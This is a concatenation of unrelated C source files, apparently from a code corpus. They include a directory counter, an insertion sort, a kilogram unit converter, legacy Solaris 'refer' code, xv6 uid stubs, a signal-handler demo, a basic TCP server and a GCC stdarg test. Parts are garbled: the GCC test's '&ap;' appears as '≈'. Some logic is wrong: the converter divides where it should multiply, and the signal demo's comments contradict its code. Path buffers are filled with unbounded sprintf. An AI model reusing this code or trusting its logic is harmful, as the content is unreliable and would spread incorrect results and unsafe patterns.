#if (defined(_DIRENT_HAVE_D_TYPE) && !PREFER_STAT)
if (DT_UNKNOWN == ent->d_type) {
/* Must perform lstat() anyway */
#ifdef DEBUG
fprintf(stderr, "Dirent type is DT_UNKNOWN, must perform lstat()\n");
#endif /* DEBUG */
sprintf(subpath, "%s%c%s", path, PATH_SEPARATOR, ent->d_name);
if (lstat(subpath, &statbuf)) {
perror(subpath);
return;
}
if (S_ISDIR(statbuf.st_mode)) {
#ifdef DEBUG
fprintf(stderr, "Determined %s is a directory via lstat(1)\n", subpath);
#endif /* DEBUG */
isdir = 1;
}
} else if (DT_DIR == ent->d_type) {
#ifdef DEBUG
fprintf(
stderr, "Determined %s%c%s is a directory via dirent\n", path, PATH_SEPARATOR, ent->d_name);
#endif /* DEBUG */
isdir = 1;
}
#else
sprintf(subpath, "%s%c%s", path, PATH_SEPARATOR, ent->d_name);
if (lstat(subpath, &statbuf)) {
perror(subpath);
return;
}
if (S_ISDIR(statbuf.st_mode)) {
#ifdef DEBUG
fprintf(stderr, "S_ISDIR=%d, mode bits=%x\n", S_ISDIR(statbuf.st_mode), statbuf.st_mode);
fprintf(stderr, "Determined %s is a directory via lstat(2)\n", subpath);
#endif /* DEBUG */
isdir = 1;
}
#endif /* if defined _DIRENT_HAVE_D_TYPE, etc. */
#ifdef FEATURE_SIZE
size = statbuf.st_size;
#endif
#ifdef DEBUG
#ifdef FEATURE_SIZE
fprintf(stderr, "name=%s, isdir=%d, size=%lu\n", ent->d_name, isdir, size);
#else
fprintf(stderr, "name=%s, isdir=%d\n", ent->d_name, isdir);
#endif
#endif
if (isdir) {
/* Skip "." and ".." directory entries... they are not "real" directories
*/
if (0 == strcmp("..", ent->d_name) || 0 == strcmp(".", ent->d_name)) {
/* fprintf(stderr, "This is %s, skipping\n", ent->d_name);
*/
} else {
if (ULONG_MAX == counts->dirs) {
fprintf(stderr,
"Reached maximum number of directories to count (%lu) after "
"%lu files\n",
counts->dirs,
counts->files);
exit(EXIT_REACHED_LIMIT);
}
sprintf(subpath, "%s%c%s", path, PATH_SEPARATOR, ent->d_name);
counts->dirs++;
#ifdef FEATURE_SIZE
counts->size_dirs += size;
#endif
count(subpath, counts);
}
} else {
if (ULONG_MAX == counts->files) {
fprintf(stderr,
"Reached maximum number of files to count (%lu) after %lu "
"directories\n",
counts->files,
counts->dirs);
exit(EXIT_REACHED_LIMIT);
}
counts->files++;
#ifdef FEATURE_SIZE
counts->size_files += size;
#endif
}
}
#ifdef DEBUG
fprintf(stderr, "Closing dir %s\n", path);
#endif
closedir(dir);
}
int
main(int argc, char* argv[])
{
struct filecount counts;
char* dir;
counts.files = 0;
counts.dirs = 0;
#ifdef FEATURE_SIZE
counts.size_files = 0;
counts.size_dirs = 0;
#endif
if (argc > 1)
dir = argv[1];
else
dir = ".";
#ifdef DEBUG
#if PREFER_STAT
fprintf(stderr, "Compiled with PREFER_STAT. Using lstat()\n");
#elif defined(_DIRENT_HAVE_D_TYPE)
fprintf(stderr, "Using dirent.d_type\n");
#else
fprintf(stderr, "Don't have dirent.d_type, falling back to using lstat()\n");
#endif
#endif
count(dir, &counts);
/* If we found nothing, this is probably an error which has already been
* printed */
if (0 < counts.files || 0 < counts.dirs) {
#ifdef FEATURE_SIZE
printf("%s\t%lu\t%lu\t%lu\t%lu\t\n",
dir,
counts.files,
counts.size_files,
counts.dirs,
counts.size_dirs);
#else
printf("%s\t%lu\t%lu\t\n", dir, counts.files, counts.dirs);
#endif
}
return 0;
}
|
the_stack_data/112221.c | #include <stdio.h>
void printarArray(int a[], int end)
{
int i;
for (i = 0; i < end - 1; i ++)
{
printf("%d | ", a[i]);
} printf("%d\n", a[i]);
}
void swap(int *a, int *b)
{
int aux = (*a);
(*a) = (*b);
(*b) = aux;
}
int realocate(int a[], int i, int end)
{
printf("Estado Atual: ");
while (i > 0 && a[i] < a[i - 1])
{
printarArray(a, end);
swap(&a[i], &a[i - 1]);
i --;
}
printarArray(a, end);
}
void insertionSort(int a[], int end)
{
int i, j;
for (i = 0, j = 1; i < end - 1; i ++, j ++)
{
printf("Chave: %d\n", a[j]);
realocate(a, j, end);
printf("\n");
}
}
int main()
{
int array[100000], i = 0;
while (scanf("%d", &array[i]) != EOF)
{
i ++;
}
insertionSort(array, i);
printf("Resultado Final:"); int j;
for (j = 0; j < i - 1; j ++)
{
printf(" %d |", array[j]);
} printf(" %d\n", array[j]);
return(0);
}
|
the_stack_data/103266245.c | #include <stdio.h>
#include <stdlib.h>
// Defining global variables
int peso;
int opcion;
int main(void)
{
printf("Introduzca peso en kilogramos \n");
scanf("%d", &peso);
printf("Seleccion una opcion \n");
printf("\n");
printf("1 --- Hectogramos \n");
printf("2 --- Decagramos \n");
printf("3 --- Gramos \n");
printf("4 --- Decigramos \n");
printf("5 --- Centigramos \n");
printf("6 --- Miligramos \n");
scanf("%d",&opcion);
//Program Logic
switch(opcion)
{
case 1:
printf("El peso es:%d\n",peso/10);
printf(" Hectogramos");
break;
case 2:
printf("El peso es:%d\n",peso/100);
printf(" Decagramos");
break;
case 3:
printf("El peso es:%d\n",peso/1000);
printf(" Gramos");
break;
case 4:
printf("El peso es:%d\n",peso/10000);
printf(" Decigramos");
break;
case 5:
printf("El peso es:%d\n",peso/100000);
printf(" Centigramos");
break;
case 6:
printf("El peso es:%d\n",peso/1000000);
printf(" Miligramos");
break;
default:
printf("No es una opcion valida\n");
break;
}
system("pause");
return 0;
}
|
the_stack_data/22011898.c | /*
* Copyright 2005 Sun Microsystems, Inc. All rights reserved.
* Use is subject to license terms.
*/
/* Copyright (c) 1984, 1986, 1987, 1988, 1989 AT&T */
/* All Rights Reserved */
/*
* Copyright (c) 1980 Regents of the University of California.
* All rights reserved. The Berkeley software License Agreement
* specifies the terms and conditions for redistribution.
*/
#pragma ident "%Z%%M% %I% %E% SMI"
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
extern char *soutput, *tagout, usedir[];
union ptr {
unsigned *a;
long *b;
};
void
result(unsigned *mptr, int nf, FILE *fc)
{
int i, c;
char *s;
long lp;
extern int iflong;
char res[100];
union ptr master;
if (iflong) {
master.b = (long *)mptr;
} else {
master.a = mptr;
}
for (i = 0; i < nf; i++) {
lp = iflong ? master.b[i] : master.a[i];
fseek(fc, lp, 0);
fgets(res, 100, fc);
for (s = res; c = *s; s++)
if (c == ';') {
*s = 0;
break;
}
if (tagout != 0) {
if (res[0] == '/' || usedir[0] == 0)
sprintf(tagout, "%s", res);
else
sprintf(tagout, "%s/%s", usedir, res);
while (*tagout) tagout++;
} else {
if (res[0] != '/' || usedir[0] == 0)
printf("%s/", usedir);
printf("%s\n", res);
}
}
}
long
gdate(f)
FILE *f;
{
struct stat sb;
fstat(fileno(f), &sb);
return (sb . st_mtime);
}
|
the_stack_data/1013903.c | #include <unistd.h>
#include <sys/types.h>
/* Every user is root in xv6 */
uid_t getuid(void) { return(0); }
uid_t geteuid(void) { return(0); }
gid_t getgid(void) { return(0); }
gid_t getegid(void) { return(0); }
int setuid(uid_t uid) { return(0); }
int setgid(gid_t gid) { return(0); }
|
the_stack_data/23212.c | /* We'll start by writing the function which reacts to the signal
which is passed in the parameter sig.
This is the function we will arrange to be called when a signal occurs.
We print a message, then reset the signal handling for SIGINT
(by default generated by pressing CTRL-C) back to the default behavior.
Let's call this function ouch. */
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
void ouch(int sig) {
printf("OUCH! - I got signal %d\n", sig);
(void) signal(SIGSEGV, SIG_DFL);
}
/* The main function has to intercept the SIGINT signal generated when we type Ctrl-C .
For the rest of the time, it just sits in an infinite loop,
printing a message once a second. */
int main() {
int c = 0;
(void) signal(SIGSEGV, ouch);
while (1) {
printf("Hello World!\n");
sleep(1);
if (++c > 10) {
int* p = NULL;
*p = 100;
}
}
}
|
the_stack_data/92328449.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
return 0;
}
|
the_stack_data/198580655.c | /* A simple server in the internet domain using TCP
The port number is passed as an argument */
#include <strings.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
void error( char* msg )
{
perror( msg );
exit( 1 );
}
int main( int argc, char* argv[] )
{
int sockfd = -1;
int newsockfd = -1;
unsigned int portno = 28000;
unsigned int clilen;
char recv_buffer[256];
struct sockaddr_in serv_addr, cli_addr;
int n;
if ( argc < 2 ) {
fprintf( stderr, "Using default port number %d\n", portno );
} else {
portno = atoi( argv[1] );
}
//--------------------------------------------------------------------------
// Create TCP/IP socket
//--------------------------------------------------------------------------
sockfd = socket( AF_INET, SOCK_STREAM, 0 );
if ( sockfd < 0 ) {
error( "ERROR opening socket" );
}
//--------------------------------------------------------------------------
// Prepare the server address sockaddr_in structure
//--------------------------------------------------------------------------
bzero( ( char* ) &serv_addr, sizeof( serv_addr ) );
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons( portno ); // Host to Network -- big-endian conversion
//--------------------------------------------------------------------------
// Bind to incoming address in preparation to listening
//--------------------------------------------------------------------------
if ( bind( sockfd, ( struct sockaddr* ) &serv_addr,
sizeof( serv_addr ) ) < 0 ) {
error( "ERROR on binding" );
}
//--------------------------------------------------------------------------
// Listen for a connection
//--------------------------------------------------------------------------
listen( sockfd, 5 );
clilen = sizeof( cli_addr );
newsockfd = accept( sockfd, ( struct sockaddr* ) &cli_addr, &clilen );
if ( newsockfd < 0 ) {
error( "ERROR on accept" );
}
do {
bzero( recv_buffer, 256 );
n = read( newsockfd, recv_buffer, 255 );
if ( n < 0 ) {
error( "ERROR reading from socket" );
}
printf( "> %s", recv_buffer );
if ( n && recv_buffer[n-1] != '\n' ) puts("");
n = write( newsockfd, "Got it", 6 );
if ( n < 0 ) {
error( "ERROR writing to socket" );
}
} while ( strncmp( recv_buffer, "quit", 4 ) != 0 );
return 0;
}
|
the_stack_data/181393696.c | /* First dg-final line after each function is for architectures that use
a struct {...} va_list[1] with separate GPR and FPR counters in the
structure. Second dg-final line is for architectures that use void *
or char * va_list. */
/* { dg-do compile } */
/* { dg-options "-O2 -fdump-tree-stdarg" } */
#include <stdarg.h>
extern void foo (int, va_list);
extern void bar (int);
long x;
double d;
va_list gap;
va_list *pap;
void
f1 (int i, ...)
{
va_list ap;
va_start (ap, i);
va_end (ap);
}
/* { dg-final { scan-tree-dump "f1: va_list escapes 0, needs to save 0 GPR units and 0 FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f1: va_list escapes 0, needs to save 0 GPR units and 0 FPR units" "stdarg" { target { powerpc*-*-linux* && ilp32 } } } } */
/* { dg-final { scan-tree-dump "f1: va_list escapes 0, needs to save 0 GPR units and 0 FPR units" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f1: va_list escapes 0, needs to save 0 GPR units and 0 FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f1: va_list escapes 0, needs to save 0 GPR units and 0 FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f1: va_list escapes 0, needs to save 0 GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f1: va_list escapes 0, needs to save 0 GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f1: va_list escapes 0, needs to save 0 GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
void
f2 (int i, ...)
{
va_list ap;
va_start (ap, i);
bar (d);
x = va_arg (ap, long);
bar (x);
va_end (ap);
}
/* Assume the counters can be number of registers or bytes on 32-bit
architecture or bytes on 64-bit architecture. */
/* { dg-final { scan-tree-dump "f2: va_list escapes 0, needs to save \[148\] GPR units and 0 FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f2: va_list escapes 0, needs to save \[148\] GPR units and 0 FPR units" "stdarg" { target { powerpc*-*-linux* && ilp32 } } } } */
/* { dg-final { scan-tree-dump "f2: va_list escapes 0, needs to save 8 GPR units and 1" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f2: va_list escapes 0, needs to save 1 GPR units and 0 FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f2: va_list escapes 0, needs to save 8 GPR units and 0 FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f2: va_list escapes 0, needs to save \[148\] GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f2: va_list escapes 0, needs to save \[148\] GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f2: va_list escapes 0, needs to save \[148\] GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
void
f3 (int i, ...)
{
va_list ap;
va_start (ap, i);
d = va_arg (ap, double);
va_end (ap);
}
/* { dg-final { scan-tree-dump "f3: va_list escapes 0, needs to save 0 GPR units and \[1-9\]\[0-9\]* FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f3: va_list escapes 0, needs to save 0 GPR units and \[1-9\]\[0-9\]* FPR units" "stdarg" { target { powerpc*-*-linux* && { powerpc_fprs && ilp32 } } } } } */
/* { dg-final { scan-tree-dump "f3: va_list escapes 0, needs to save 0 GPR units and 1 FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f3: va_list escapes 0, needs to save 0 GPR units and 16 FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f3: va_list escapes 0, needs to save 8 GPR units and 2" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f3: va_list escapes 0, needs to save \[1-9\]\[0-9\]* GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f3: va_list escapes 0, needs to save \[1-9\]\[0-9\]* GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f3: va_list escapes 0, needs to save \[1-9\]\[0-9\]* GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
void
f4 (int i, ...)
{
va_list ap;
va_start (ap, i);
x = va_arg (ap, double);
foo (i, ap);
va_end (ap);
}
/* { dg-final { scan-tree-dump "f4: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f4: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target { powerpc*-*-linux* && ilp32 } } } } */
/* { dg-final { scan-tree-dump "f4: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f4: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f4: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f4: va_list escapes 1, needs to save all GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f4: va_list escapes 1, needs to save all GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f4: va_list escapes 1, needs to save all GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
void
f5 (int i, ...)
{
va_list ap;
va_start (ap, i);
va_copy (gap, ap);
bar (i);
va_end (ap);
va_end (gap);
}
/* { dg-final { scan-tree-dump "f5: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f5: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target { powerpc*-*-linux* && ilp32 } } } } */
/* { dg-final { scan-tree-dump "f5: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f5: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f5: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f5: va_list escapes 1, needs to save all GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f5: va_list escapes 1, needs to save all GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f5: va_list escapes 1, needs to save all GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
void
f6 (int i, ...)
{
va_list ap;
va_start (ap, i);
bar (d);
va_arg (ap, long);
va_arg (ap, long);
x = va_arg (ap, long);
bar (x);
va_end (ap);
}
/* { dg-final { scan-tree-dump "f6: va_list escapes 0, needs to save (3|12|24) GPR units and 0 FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f6: va_list escapes 0, needs to save (3|12|24) GPR units and 0 FPR units" "stdarg" { target { powerpc*-*-linux* && ilp32 } } } } */
/* { dg-final { scan-tree-dump "f6: va_list escapes 0, needs to save 24 GPR units and 1" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f6: va_list escapes 0, needs to save 3 GPR units and 0 FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f6: va_list escapes 0, needs to save 24 GPR units and 0 FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f6: va_list escapes 0, needs to save (3|12|24) GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f6: va_list escapes 0, needs to save (3|12|24) GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f6: va_list escapes 0, needs to save (3|12|24) GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
void
f7 (int i, ...)
{
va_list ap;
va_start (ap, i);
pap = ≈
bar (6);
va_end (ap);
}
/* { dg-final { scan-tree-dump "f7: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f7: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target { powerpc*-*-linux* && ilp32 } } } } */
/* { dg-final { scan-tree-dump "f7: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f7: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f7: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f7: va_list escapes 1, needs to save all GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f7: va_list escapes 1, needs to save all GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f7: va_list escapes 1, needs to save all GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
void
f8 (int i, ...)
{
va_list ap;
va_start (ap, i);
pap = ≈
bar (d);
x = va_arg (ap, long);
bar (x);
va_end (ap);
}
/* { dg-final { scan-tree-dump "f8: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f8: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target { powerpc*-*-linux* && ilp32 } } } } */
/* { dg-final { scan-tree-dump "f8: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f8: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f8: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f8: va_list escapes 1, needs to save all GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f8: va_list escapes 1, needs to save all GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f8: va_list escapes 1, needs to save all GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
void
f9 (int i, ...)
{
va_list ap;
va_start (ap, i);
__asm __volatile ("" : "=r" (pap) : "0" (&ap));
bar (6);
va_end (ap);
}
/* { dg-final { scan-tree-dump "f9: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f9: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target { powerpc*-*-linux* && ilp32 } } } } */
/* { dg-final { scan-tree-dump "f9: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f9: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f9: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f9: va_list escapes 1, needs to save all GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f9: va_list escapes 1, needs to save all GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f9: va_list escapes 1, needs to save all GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
void
f10 (int i, ...)
{
va_list ap;
va_start (ap, i);
__asm __volatile ("" : "=r" (pap) : "0" (&ap));
bar (d);
x = va_arg (ap, long);
bar (x);
va_end (ap);
}
/* { dg-final { scan-tree-dump "f10: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f10: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target { powerpc*-*-linux* && ilp32 } } } } */
/* { dg-final { scan-tree-dump "f10: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f10: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f10: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f10: va_list escapes 1, needs to save all GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f10: va_list escapes 1, needs to save all GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f10: va_list escapes 1, needs to save all GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
void
f11 (int i, ...)
{
va_list ap;
va_start (ap, i);
bar (d);
x = va_arg (ap, long);
x += va_arg (ap, long);
x += va_arg (ap, long);
bar (x);
va_end (ap);
}
/* { dg-final { scan-tree-dump "f11: va_list escapes 0, needs to save (3|12|24) GPR units and 0 FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f11: va_list escapes 0, needs to save (3|12|24) GPR units and 0 FPR units" "stdarg" { target { powerpc*-*-linux* && ilp32 } } } } */
/* { dg-final { scan-tree-dump "f11: va_list escapes 0, needs to save 24 GPR units and 1" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f11: va_list escapes 0, needs to save 3 GPR units and 0 FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f11: va_list escapes 0, needs to save 24 GPR units and 0 FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f11: va_list escapes 0, needs to save (3|12|24) GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f11: va_list escapes 0, needs to save (3|12|24) GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f11: va_list escapes 0, needs to save (3|12|24) GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
void
f12 (int i, ...)
{
va_list ap;
va_start (ap, i);
bar (d);
va_arg (ap, double);
va_arg (ap, double);
x = va_arg (ap, double);
bar (x);
va_end (ap);
}
/* { dg-final { scan-tree-dump "f12: va_list escapes 0, needs to save 0 GPR units and \[1-9\]\[0-9\]* FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f12: va_list escapes 0, needs to save 0 GPR units and \[1-9\]\[0-9\]* FPR units" "stdarg" { target { powerpc*-*-linux* && { powerpc_fprs && ilp32 } } } } } */
/* { dg-final { scan-tree-dump "f12: va_list escapes 0, needs to save 24 GPR units and 2" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f12: va_list escapes 0, needs to save 0 GPR units and 3 FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f12: va_list escapes 0, needs to save 0 GPR units and 48 FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f12: va_list escapes 0, needs to save \[1-9]\[0-9\]* GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f12: va_list escapes 0, needs to save \[1-9]\[0-9\]* GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f12: va_list escapes 0, needs to save \[1-9]\[0-9\]* GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
void
f13 (int i, ...)
{
va_list ap;
va_start (ap, i);
bar (d);
x = va_arg (ap, double);
x += va_arg (ap, double);
x += va_arg (ap, double);
bar (x);
va_end (ap);
}
/* { dg-final { scan-tree-dump "f13: va_list escapes 0, needs to save 0 GPR units and \[1-9\]\[0-9\]* FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f13: va_list escapes 0, needs to save 0 GPR units and \[1-9\]\[0-9\]* FPR units" "stdarg" { target { powerpc*-*-linux* && { powerpc_fprs && ilp32 } } } } } */
/* { dg-final { scan-tree-dump "f13: va_list escapes 0, needs to save 24 GPR units and 2" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f13: va_list escapes 0, needs to save 0 GPR units and 3 FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f13: va_list escapes 0, needs to save 0 GPR units and 48 FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f13: va_list escapes 0, needs to save \[1-9]\[0-9\]* GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f13: va_list escapes 0, needs to save \[1-9]\[0-9\]* GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f13: va_list escapes 0, needs to save \[1-9]\[0-9\]* GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
void
f14 (int i, ...)
{
va_list ap;
va_start (ap, i);
bar (d);
x = va_arg (ap, double);
x += va_arg (ap, long);
x += va_arg (ap, double);
bar (x);
va_end (ap);
}
/* { dg-final { scan-tree-dump "f14: va_list escapes 0, needs to save \[148\] GPR units and \[1-9\]\[0-9\]* FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f14: va_list escapes 0, needs to save \[148\] GPR units and \[1-9\]\[0-9\]* FPR units" "stdarg" { target { powerpc*-*-linux* && { powerpc_fprs && ilp32 } } } } } */
/* { dg-final { scan-tree-dump "f14: va_list escapes 0, needs to save 24 GPR units and 3" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f14: va_list escapes 0, needs to save 1 GPR units and 2 FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f14: va_list escapes 0, needs to save 8 GPR units and 32 FPR units" "stdarg" { target aarch64*-*-* } } } */
/* { dg-final { scan-tree-dump "f14: va_list escapes 0, needs to save \[1-9]\[0-9\]* GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump "f14: va_list escapes 0, needs to save \[1-9]\[0-9\]* GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump "f14: va_list escapes 0, needs to save \[1-9]\[0-9\]* GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
inline void __attribute__((always_inline))
f15_1 (va_list ap)
{
x = va_arg (ap, double);
x += va_arg (ap, long);
x += va_arg (ap, double);
}
void
f15 (int i, ...)
{
va_list ap;
va_start (ap, i);
f15_1 (ap);
va_end (ap);
}
